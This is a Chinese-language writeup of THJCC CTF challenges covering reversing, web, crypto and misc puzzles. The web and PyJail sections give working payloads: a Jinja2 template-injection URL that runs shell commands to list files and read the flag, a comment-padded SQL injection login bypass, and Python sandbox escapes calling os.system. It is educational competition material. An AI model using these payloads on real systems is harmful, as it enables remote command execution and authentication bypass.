LOADING

載入過慢請啟用快取 瀏覽器預設啟用

THJCC CTF Writeup

2024/4/29 CTF

心得

(待完善)

以下正文開始

Reverse

Baby C

這題比 Android 逆向難 (確信)

//題目程式碼
#include"stdio.h"
#include"stdlib.h"
#include"string.h"
int main(){
    char c[50];
    int a[50]={44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5};
    scanf("%s", c);
    for(int i=0;i<50;i++){
        if (((int)c[i]^120)!=a[i]){
            printf("Password Incorrect!!!\n");
            return 0;
        }
    }
    printf("Password Correct!!!\n");
    return 0;
}

解法:把 int a 陣列各值和 120 做 XOR,取得 FLAG 的 ANSI Code

#include"stdio.h"
#include"stdlib.h"
#include"string.h"
int main(){
    int b[50];
    int a[50]={44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5};
    for(int i=0;i<50;i++){
        (b[i])=(a[i]^120);
        printf("%d ",b[i]);
    }
    return 0;
}

baby_c_1

取得原始 ANSI Code

84 72 74 67 67 123 104 116 116 112 115 58 47 47 119 119 119 46 121 111 117 116 117 98 101 46 99 111 109 47 119 97 116 99 104 63 118 61 51 88 67 86 77 51 71 51 112 110 115 125

baby_c_2

之後用工具轉換

THJCC{https://www.youtube.com/watch?v=3XCVM3G3pns}

PYC REVERSE

逆向原本 pyc file,得以下程式

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)

執行順序由左到右為 bytes_to_long,xor1,xor2,xor3,xor4

使用 msg.txt 反向推導,使用以下程式碼:

from Crypto.Util.number import long_to_bytes

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
flag = xor4(flag)
flag = xor3(flag)
flag = xor2(flag)
flag = xor1(flag)
flag = long_to_bytes(flag)
print(flag)

pyc

Flag: THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}

用 IDA 反編譯,把它跳轉到 homerun 的地方改成 miss

baseball

Flag: THJCC{u_8e@t_m3...}

Not Apple

原始檔給了一個 APK

先用 JADX-GUI 反編譯,然後全域搜尋 THJCC{

notapple_1

得到 THJCC{l4zy_@string/real_flag==}

然後用 apktool 反編譯,在 appdebug\res\values\strings.xml

找到對應的值 Aladd1n_

notapple_2

排列組合一下,得到 THJCC{l4zy_Aladd1n_==}

//這題彎路繞超多,然後差一點點拿首殺

:sad:

Pwn

nc

nc 進去說是瑞克作的歌

Flag: THJCC{N3veR_g0nn4_l37_You_dOwn!!!}

Web

Empty

  1. 原始碼註解,得到 http://23.146.248.36:10002/Wh4leE4tSh4rk.html

    empty_1
    empty_2
  2. 找 cookie
  3. 得出答案

    empty_3

    empty_4

    Flag: THJCC{cookie_&_view_source_!}

Blog

blog

Flag: THJCC{w31c0me_h@cker}

通靈到極致。

Simplify

先用 test/test1234 登入,發現 cookie 被新增東西,把它改成 admin

simplify_1

simplify_2

找到提示 SSTI

simplify_3

使用網址 http://23.146.248.36:10003/@4

測試,確認攻擊可行

simplify_4

尋找 Payload (懶得自己寫)

來源 https://blog.csdn.net/qq_61955196/article/details/132237648

http://23.146.248.36:10003/@%7B%7Blipsum.__globals__.__builtins__.__import__('os').popen('ls').read()%7D%7D
http://23.146.248.36:10003/@%7B%7Blipsum.__globals__.__builtins__.__import__('os').popen('cat%20flag').read()%7D%7D

simplify_5

simplify_6

取得 Flag
THJCC{w3ak_auth_+_S$TI}

🦊🌽

查看原始碼,發現破題關鍵在於cookie

fox_1

去除所有空格:用 /**/ 替代

過濾 username 中所有特殊字符:不動他,填 admin

過濾 password 中所有英文字母跟等號:用 Payload:

}')/**/||/**/2/**/>/**/1/**/--

完整內容:

admin@}')/**/||/**/2/**/>/**/1/**/--

轉 Base64:

YWRtaW5AfScpLyoqL3x8LyoqLzIvKiovPi8qKi8xLyoqLy0t

填入 Cookie,取得 Flag:

THJCC{cUt3_wh1e3_f0x_sh1rakam1_fuBuk1_0x133ee79}

fox_2

fox_3

收工 (我 SDVX 抽不到白上 :sad: )

Crypto

博元婦產科

银行号码 TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg==

先 base64 decode:

MACVV{pPp.u4UrfTd3k.v0F.mP}

再凱薩密碼爆破

base64_www

Flag: THJCC{wWw.b4BymAk3r.c0M.tW}

Baby RSA

n=82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
e=3
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157

rsa

THJCC{small_eeeee_can_be_pwned_easily}

JPG^PNG=?

XOR 特性:A^B=C,C^B=A

jpgxor_1

key.png PNG File 開頭都相同,使用任意 PNG 即可解

flag.jpg 我們要的東西

enc.txt 已知

解法:找一個 png rename 成 key.png

emc.txt rename 成 flag.jpg

執行 server.py

將生成出的 enc.txt rename 成 newflag.jpg

Flag: THJCC{IM3_X52_a4dc133un_sta2t}

jpgxor_2

Misc

原神帳號外流

打開封包擷取檔,嘗試搜尋 password,找到很多個密碼

接著尋找 &password= ,把每個帳號都 try 一遍,

得出可使用帳號:

Username:Frieren
Password:B3stan1me

Flag: THJCC{W3r3_sHarKKKKKK_MasT3R_C8763}

wireshark

PS: 不用 Wireshark 純粹不想載程式。

出題者大合照!

原理:隱寫術

把照片丟到線上解碼工具 https://futureboy.us/stegano/decinput.html

photo_1

photo_2

Flag: THJCC{S1TC0N_2o2A_a1l_hAnDs0m3_9uY5}

PyJail-0

參考資料 https://zhuanlan.zhihu.com/p/579057932?utm_id=0

__import__('os').system('ls')
__import__('os').system('cat flag.txt')

pyjail_0

Flag: THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}

Geoguesser???

geoguesser_1

geoguesser_2

https://ivry.jp/telsearch/0790632758/

geoguesser_3

https://littlehorseboy.github.io/getCurrentPosition-test/addressToCoords.html

遠方廣告牌電話 -> 搜尋找到店名、地址 -> 使用工具取得座標,填入 Flag

Flag: THJCC{35.003_134.540}

I want to go to Japan!

Me too.

根據圖片 https://twitter.com/rrharil0302/status/1782034885626188150,可以知道與該角色 湯の川 聖羅 有關,

Google 找到他和是湯倉神社和湯の川温泉的合作角色

japan_1

尋找湯倉神社的經緯度,得知為 41.782112, 140.791

japan_2

帶入 Flag,得:

Flag: THJCC{41.782_140.791}

PyJail-1

找考古題,在這個網站

https://jbnrz.com.cn/index.php/2024/03/04/pyjail/

找到相似題:

breakpoint()
__import__('os').system('ls')
__import__('os').system('cat flag.txt')

pyjail_1

Flag: THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}

Evil Form

表單101:不要用 Google Form 放機密資料

擷取那裡面的內容 (+Unicode decode),可取得三段文字:

form

THJCC{
//明文

w6C6 :D J@FC 7=28
w24<<<<E96
//ROT-47加密,直接爆破
Here is your flag
Hackkkkthe

SGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ==
//Base64 decode
Here is your flag 3/3 : _google_f0rM_Mordekaiser}

組合
THJCC{Hackkkkthe_google_f0rM_Mordekaiser}

Flag: THJCC{Hackkkkthe_google_f0rM_Mordekaiser}

欸不是你那ROT47太通靈了吧 lol

https://www.dcode.fr/rot-47-cipher

https://www.freecodeformat.com/unicode-js.php

welcome

Welcome 0x1

welcome_1
welcome_2

Flag: THJCC{5cINt_sC4icT_5C1sT}

Discord 0x1

dc_1
dc_2

Flag: THJCC{r3meMB3R!J01Ndi5c0rD_5eRv3r}